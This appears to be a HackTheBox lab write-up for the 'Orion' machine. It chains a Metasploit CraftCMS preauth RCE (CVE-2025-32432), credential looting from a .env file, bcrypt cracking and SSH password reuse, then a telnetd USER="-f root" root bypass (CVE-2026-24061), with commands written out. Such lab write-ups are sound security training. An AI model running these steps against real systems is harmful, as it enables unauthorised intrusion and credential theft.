HTB: Orion Writeup
Orion - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Orion |
| OS | Linux (Ubuntu) |
| Difficulty | Easy |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐☆☆☆
Summary
Orion is an Easy Linux box built around a CraftCMS instance exposed on a vhost. CraftCMS 5.6.16 is vulnerable to a preauth RCE (CVE-2025-32432), which lands a www-data shell. From there the CraftCMS .env file leaks the MySQL root password, and dumping the users table yields a bcrypt hash that cracks with rockyou — and gets reused for SSH. Root falls to a vulnerable local telnetd (CVE-2026-24061) that accepts an auth-bypass via the USER environment variable.
TL;DR: nmap (22/80) → vhost orion.htb → CraftCMS 5.6.16 fingerprinted at /admin/login → CVE-2025-32432 preauth RCE (metasploit) → www-data → .env leaks MySQL root creds → dump users table → crack adam’s bcrypt hash → SSH password reuse → user adam → local telnetd (GNU inetutils 2.7) vulnerable to CVE-2026-24061 → USER="-f root" auth bypass → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- orion.htbResults:
22/tcp— SSH80/tcp— HTTP (nginx), redirects to a vhost — addedorion.htbto/etc/hosts
Service Enumeration
Browsing orion.htb shows a CraftCMS-powered site. The /admin path redirects to /admin/login, and the CraftCMS admin login page discloses the exact CMS version in its footer/metadata:
CraftCMS 5.6.16Vulnerability Assessment
- CraftCMS 5.6.16 is vulnerable to CVE-2025-32432 — an unauthenticated RCE in the asset image-transform action (
actions/assets/generate-transform). Craft feeds attacker-controlled JSON into Yii’s object-configuration system, which lets an attacker specify arbitrary classes to instantiate (__class) and, via classes likeGuzzleHttp\Psr7\FnStream, trigger arbitrary PHP execution when the object is torn down. This requires bypassing Craft’s CSRF check first (session cookie + CSRF cookie +X-CSRF-Tokenheader pulled from/admin/login), which the public exploit chain and the Metasploit module both automate.
Initial Foothold
Exploitation Path
Metasploit ships a ready module for CVE-2025-32432 that automates the CSRF-token dance, leaks the PHP session save path via a forced phpinfo() call, drops a webshell stub into a PHP session file, and then triggers it through a second crafted generate-transform request:
msfconsoleuse exploit/linux/http/craftcms_preauth_rce_cve_2025_32432set rhosts orion.htbset rport 80set lhost 10.10.15.180exploitThis returns a shell as www-data.
www-data@orion:~/html/craft$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)CraftCMS stores its database credentials in a .env file at the app root — a standard Craft deployment convention:
www-data@orion:~/html/craft$ cat .envCRAFT_DB_DRIVER=mysqlCRAFT_DB_SERVER=127.0.0.1CRAFT_DB_PORT=3306CRAFT_DB_DATABASE=orionCRAFT_DB_USER=rootCRAFT_DB_PASSWORD=SuperSecureCraft123Pass!Reused MySQL root creds give direct DB access, and the users table holds the CMS admin’s bcrypt hash:
www-data@orion:~/html/craft$ mysql -u root -p'SuperSecureCraft123Pass!' orionMariaDB [orion]> select username, password from users;+----------+----------------------------------------------------------------+| username | password |+----------+----------------------------------------------------------------+| admin | $2y$13$e9zuohgFZzGtbQalcn9Mz... |+----------+----------------------------------------------------------------+Cracking the bcrypt hash with rockyou:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt# $2y$13$e9zuohgFZzGtbQalcn9Mz...:darkangelThe recovered password (darkangel) is reused for the adam SSH account:
ssh adam@orion.htb# Password: darkangeladam@orion:~$ cat user.txt<redacted>Privilege Escalation
Checking locally-bound listeners as adam turns up a telnet daemon bound only to loopback:
adam@orion:~$ ss -tulnp | grep 23tcp LISTEN 0 0 127.0.0.1:23 0.0.0.0:*adam@orion:~$ telnet --versiontelnet (GNU inetutils) 2.7GNU inetutils telnetd 2.7 is vulnerable to CVE-2026-24061, an authentication-bypass flaw: telnetd passes the client-supplied USER environment variable straight through to login(1). Setting USER="-f root" causes login to parse it as the -f (force, skip-auth) flag with root as the target account, rather than as a literal username — logging in as root with no password check:
adam@orion:~$ USER="-f root" telnet -a 127.0.0.1Trying 127.0.0.1...Connected to 127.0.0.1.root@orion:~# cat root.txt<redacted>Attack Chain Summary
nmap (22/80) → vhost orion.htb → CraftCMS 5.6.16 fingerprint → CVE-2025-32432 preauth RCE (metasploit) → www-data → craft/.env leaks MySQL root password → dump users table → crack adam's bcrypt hash (darkangel) → SSH password reuse → user adam → local telnetd (GNU inetutils 2.7) → CVE-2026-24061 USER="-f root" bypass → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
msfconsole (Metasploit) | CVE-2025-32432 CraftCMS preauth RCE module |
mysql | Querying the CraftCMS database for the users table |
hashcat | Cracking the admin’s bcrypt hash offline |
ssh | Access as adam via reused credentials |
telnet | CVE-2026-24061 root auth bypass |
Key Learnings
Techniques Practiced
- Preauth RCE against CraftCMS via Yii object-injection (CVE-2025-32432)
- Locating and looting a framework
.envfile for DB credentials - Bcrypt hash cracking with hashcat (
-m 3200) - Credential reuse pivoting (DB password → cracked hash → SSH)
- Local-only service enumeration (
ss -tulnp) post-foothold - telnetd
USERenvironment-variable auth bypass (CVE-2026-24061)
Lessons Learned
- Exposing CMS version numbers on a login page is a low-effort but high-value recon win for attackers — it turns a guess into a targeted CVE lookup.
.envfiles at the webroot are a recurring soft spot in PHP framework deployments; any RCE foothold should immediately check for one.- Password reuse between a database credential and a CMS admin account, and again between the CMS account and SSH, chains small leaks into full user compromise.
- Services bound to
127.0.0.1are not “safe by default” — once local shell access exists, they’re just as exploitable as external ones, and legacy daemons like telnetd carry real, currently-assigned CVEs.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pho3o, “Orion” HackTheBox writeup — official walkthrough used here to explain the CraftCMS CSRF-bypass/object-injection mechanics behind CVE-2025-32432 and the
login -fsemantics behind CVE-2026-24061. All IPs, credentials, and command output above are from this box’s own solve, not the reference.